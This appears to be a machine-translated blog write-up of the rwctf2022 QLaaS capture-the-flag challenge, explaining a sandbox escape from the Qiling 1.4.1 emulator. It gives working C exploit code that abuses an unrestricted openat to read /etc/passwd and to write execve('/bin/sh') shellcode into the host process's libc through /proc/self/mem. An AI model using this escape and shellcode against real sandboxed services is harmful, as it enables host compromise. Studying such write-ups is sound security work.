当前位置:网站首页>rwctf2022_ QLaaS
rwctf2022_ QLaaS
2022-07-02 20:54:00 【-Order rule】
rwctf2022 QLaaS
List of articles
main.py
First of all, there is only one subject document main.py, The contents are as follows :
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())
with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')
with open(fp, 'wb') as f:
f.write(binary)
my_sandbox(fp, tmp_dir)
if __name__ == '__main__':
main()
Now get the file , Then call directly qiling The framework runs it . It's shown here that qiling=1.4.1, It is also the latest version at present .
First, in the github Get it down qiling Code for , And then switch to 1.4.1 edition , Write a simple script by imitating the above script :
#!/usr/bin/env python3
import os
import sys
import base64
# pip install qiling==1.4.1
c
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
my_sandbox("/tmp/a/bin", "/tmp/a")
if __name__ == '__main__':
main()
Note that I didn't install qiling, So this
from qiling import QilingIn fact, it will search from the current path , Put this script here clone Coming down qiling Code directory , Will be found automaticallyqilingFolder , And use the python file , You can also start debugging .
Then I wrote a exp.c,
#include <stdio.h>
int main() {
printf("hellow\n");
return 0;
}
Try to run , Find this error . When you want to load the dynamic link library in this location , Try downloading in this directory ld File failed ,

You can see that the file you originally want to load is this , Be restricted to rootfs It's in .

So use static links .

Then I found that the running syscall, qiling It's actually encapsulated unicorn, however unicorn In fact, it has not been realized sys call, These should be qiling Implemented in .
Loophole
transform_to_real_path
First try to start directly shell,
int main() {
execve("/bin/sh", 0, 0);
return 0;
}

In function ql_syscall_execve Error reported in , Show can't find file /tmp/a/bin/sh
Let's go into this function . The error position is in the last ql.loader.run()
def ql_syscall_execve(ql: Qiling, pathname: int, argv: int, envp: int):
file_path = ql.os.utils.read_cstring(pathname)
real_path = ql.os.path.transform_to_real_path(file_path)
def __read_str_array(addr: int) -> Iterator[str]:
if addr:
while True:
elem = ql.mem.read_ptr(addr)
if elem == 0:
break
yield ql.os.utils.read_cstring(elem)
addr += ql.pointersize
args = [s for s in __read_str_array(argv)]
env = {
}
for s in __read_str_array(envp):
k, _, v = s.partition('=')
env[k] = v
ql.emu_stop()
ql.log.debug(f'execve({
file_path}, [{
", ".join(args)}], [{
", ".join(f"{
k}={
v}" for k, v in env.items())}])')
ql.loader.argv = args
ql.loader.env = env
ql._path = real_path
ql.mem.map_info = []
ql.clear_ql_hooks()
# Clean debugger to prevent port conflicts
ql.debugger = None
if ql.code:
return
ql._uc = ql.arch.init_uc
QlCoreHooks.__init__(ql, ql._uc)
ql.os.load()
ql.loader.run()
ql.run()
Find this incoming pathname, Through the processing of two functions file_path and real_path, Finally, what is really practical is real_path, In statement :ql._path = real_path, Get into transform_to_real_path The function view ,
It should be. This path is limited to self.ql.rootfs within .
def transform_to_real_path(self, path: str) -> str:
real_path = self.convert_path(self.ql.rootfs, self.cwd, path)
if os.path.islink(real_path):
link_path = Path(os.readlink(real_path))
if not link_path.is_absolute():
real_path = Path(os.path.join(os.path.dirname(real_path), link_path))
# resolve multilevel symbolic link
if not os.path.exists(real_path):
path_dirs = link_path.parts
if link_path.is_absolute():
path_dirs = path_dirs[1:]
for i in range(len(path_dirs) - 1):
path_prefix = os.path.sep.join(path_dirs[:i+1])
real_path_prefix = self.transform_to_real_path(path_prefix)
path_remain = os.path.sep.join(path_dirs[i+1:])
real_path = Path(os.path.join(real_path_prefix, path_remain))
if os.path.exists(real_path):
break
return str(real_path.absolute())
Then here is equivalent to chroot And so on , We can't break through ,
openat
Global search for this transform_to_real_path function , Check the location of the reference , Pay special attention to os/posix/syscall A file in a directory , This is right syscall The implementation of the .
You can also see ql_syscall_open And other functions use this limitation , But it's easy to see a comment :

Enter this location to view , Found to be openat,
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
file_path = ql.os.utils.read_cstring(path)
# real_path = ql.os.path.transform_to_real_path(path)
# relative_path = ql.os.path.transform_to_relative_path(path)
flags &= 0xffffffff
mode &= 0xffffffff
idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)
if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM:
mode = 0
flags = ql_open_flag_mapping(ql, flags)
fd = ql.unpacks(ql.pack(fd))
if 0 <= fd < NR_OPEN:
dir_fd = ql.os.fd[fd].fileno()
else:
dir_fd = None
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)
regreturn = idx
except QlSyscallError as e:
regreturn = -e.errno
ql.log.debug(f'openat(fd = {
fd:d}, path = {
file_path}, mode = {
mode:#o}) = {
regreturn:d}')
return regreturn
You can see that this position is directly right file_path Conduct open Then return , It seems that there are no restrictions .
Test it :
int main() {
char buf[0x100];
int fd = openat(1, "/etc/passwd", O_RDONLY);
ssize_t len = read(fd, buf, sizeof(buf));
write(1, buf, len);
return 0;
}
Get the output :

utilize
Read and write an arbitrary file , How can I fight ?
/proc/self/mem
First of all, understand proc File structure
proc file
linux Next , Everything is a document , For information saved in a process , You can use the corresponding /proc/<pid>/ File to view , These documents are linux Virtual file implemented , It does not occupy memory , The file in it stores all the relevant information of the corresponding process .
You can access and modify the specified process information here . Here is the location used here :
/proc/<pid>/maps- Save the memory layout of the corresponding process , Include address Corresponding modules
/proc/<pid>/mem- Point to the memory space of the corresponding process , Can pass open read write lseek To read and write .
/proc/self- This points to the current running instruction itself
/proc/<pid>/, Access itself without getting pid 了 .
- This points to the current running instruction itself
utilize /proc/<pid>/mem Inject shellcode
It can be regarded as a common means of utilization , More general .
For a process , We can go through /proc/<pid>/mem Access to internal memory . So it can be modified .
The general practice is , use first open Open corresponding fd, And then through lseek Set up fd Address to , Then you can go through read write Read and write the corresponding memory .
exp
Relatively simple , First from /proc/self/maps Get in libc Of text Segment address , And then in /proc/self/mem Set in fd Point to libc Of text paragraph ,
Then inject a lot of nop Command as a skateboard , Finally write shellcode,
Exit can , In the follow-up process python Call to libc When , Will fall on the skateboard , Then slide towards shellcode.
unsigned char shellcode[0x27a50 + 0x100 + 0x100];
unsigned char sc[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
int exp() {
char buf[0x1000];
int fd = openat(1, "/proc/self/maps", O_RDONLY);
FILE *fd_maps = fdopen(fd, "r");
int mem = openat(1, "/proc/self/mem", O_RDWR);
unsigned long long addr;
while (fgets(buf, sizeof(buf), fd_maps)) {
if (strstr(buf, "r-xp") && strstr(buf, "lib/libc-")) {
sscanf(buf, "%llx-", &addr);
printf("%s", buf);
}
}
printf("%llx", addr);
memset(shellcode, 0x90, 0x27a50 + 0x100);
memcpy(shellcode + 0x27a50 + 0x100, sc, sizeof(sc));
lseek(mem, addr, SEEK_SET);
write(mem, shellcode, sizeof(shellcode));
return 0;
}
边栏推荐
- [daily question] 241 Design priorities for operational expressions
- At compilation environment setup -win
- Don't you want to have a face-to-face communication with cloud native and open source experts? (including benefits
- Wu Enda's machine learning mind mapping insists on clocking in for 23 days - building a knowledge context, reviewing, summarizing and replying
- Makefile: usage of control functions (error, warning, info)
- Research Report on the overall scale, major manufacturers, major regions, products and application segmentation of the inverted front fork of the global market in 2022
- Research Report on the overall scale, major manufacturers, major regions, products and applications of battery control units in the global market in 2022
- Summary of interview experience, escort your offer, full of knowledge points
- [question brushing diary] classic questions of dynamic planning
- [QT] QPushButton creation
猜你喜欢

Redis sentinel cluster working principle and architecture deployment # yyds dry goods inventory #

Attack and defense world PWN question: Echo

JDBC | Chapter 4: transaction commit and rollback

After 65 days of closure and control of the epidemic, my home office experience sharing | community essay solicitation

Jetson XAVIER NX上ResUnet-TensorRT8.2速度與顯存記錄錶(後續不斷補充)

Summary of interview experience, escort your offer, full of knowledge points

Volvo's first MPV is exposed! Comfortable and safe, equipped with 2.0T plug-in mixing system, it is worth first-class

The metamask method is used to obtain account information
![[871. Minimum refueling times]](/img/5f/75e717d1fc9d1c5f9e1d8f59dda38c.png)
[871. Minimum refueling times]

How can testers do without missing tests? Seven o'clock is enough
随机推荐
[source code analysis] model parallel distributed training Megatron (5) -- pipestream flush
【871. 最低加油次数】
Backpack template
【Hot100】23. Merge K ascending linked lists
CRM Customer Relationship Management System
I want to ask you, where is a better place to open an account in Dongguan? Is it safe to open a mobile account?
Basic concept of database, installation and configuration of database, basic use of MySQL, operation of database in the project
Function, function, efficiency, function, utility, efficacy
Write the content into the picture with type or echo and view it with WinHex
Redis -- three special data types
The first of the classic quotations of correspondents is heartbreaking
1005 spell it right (20 points) "PTA class a exercise"
想请教一下,我在东莞,到哪里开户比较好?手机开户是安全么?
[QT] QPushButton creation
Research Report on the overall scale, major manufacturers, major regions, products and applications of battery control units in the global market in 2022
I did a craniotomy experiment: talk about macromolecule coding theory and Lao Wang's fallacy from corpus callosum and frontal leukotomy
Research Report on the overall scale, major manufacturers, major regions, products and applications of friction dampers in the global market in 2022
How to open an account online? Is it safe to open a mobile account?
Research Report on the overall scale, major manufacturers, major regions, products and applications of outdoor vacuum circuit breakers in the global market in 2022
1007 maximum subsequence sum (25 points) "PTA class a exercise"